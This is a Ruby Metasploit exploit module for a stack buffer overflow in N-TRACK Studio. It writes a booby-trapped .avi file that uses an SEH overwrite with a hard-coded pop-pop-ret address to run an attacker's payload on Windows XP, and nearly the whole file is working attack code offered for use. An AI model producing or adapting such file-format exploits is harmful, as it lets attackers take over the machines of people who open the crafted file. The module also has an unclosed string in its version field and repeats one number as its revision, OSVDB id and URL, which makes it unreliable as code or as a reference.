|
##
# $Id: N-TRACK_Studio.rb 16850 2011-09-7 10:30:02Z IRAQ $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'N-TRACK Studio universal Local Buffer Overflow Exploit(SEH)',
'Description' => %q{
This module exploits a stack buffer overflow in N-TRACK Studio
},
'License' => MSF_LICENSE,
'Author' =>
[
'Angel Injection',
],
'Version' => '$Revision: 16852
,
'References' =>
[
[ 'OSVDB', '16852' ],
[ 'URL', 'http://www.1337day.com/exploits/16852' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 6200,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
'DisableNops' => true,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP2 / SP3', { 'Ret' => 0x1000a4fd } ], # pop pop ret =>
],
'Privileged' => false,
'DisclosureDate' => '7/9/2011',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'exploit.avi']),
], self.class)
end
def exploit
sploit = rand_text_alpha_upper(88)
sploit << generate_seh_payload(target.ret)
sploit << payload.encoded
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(sploit)
end
end
|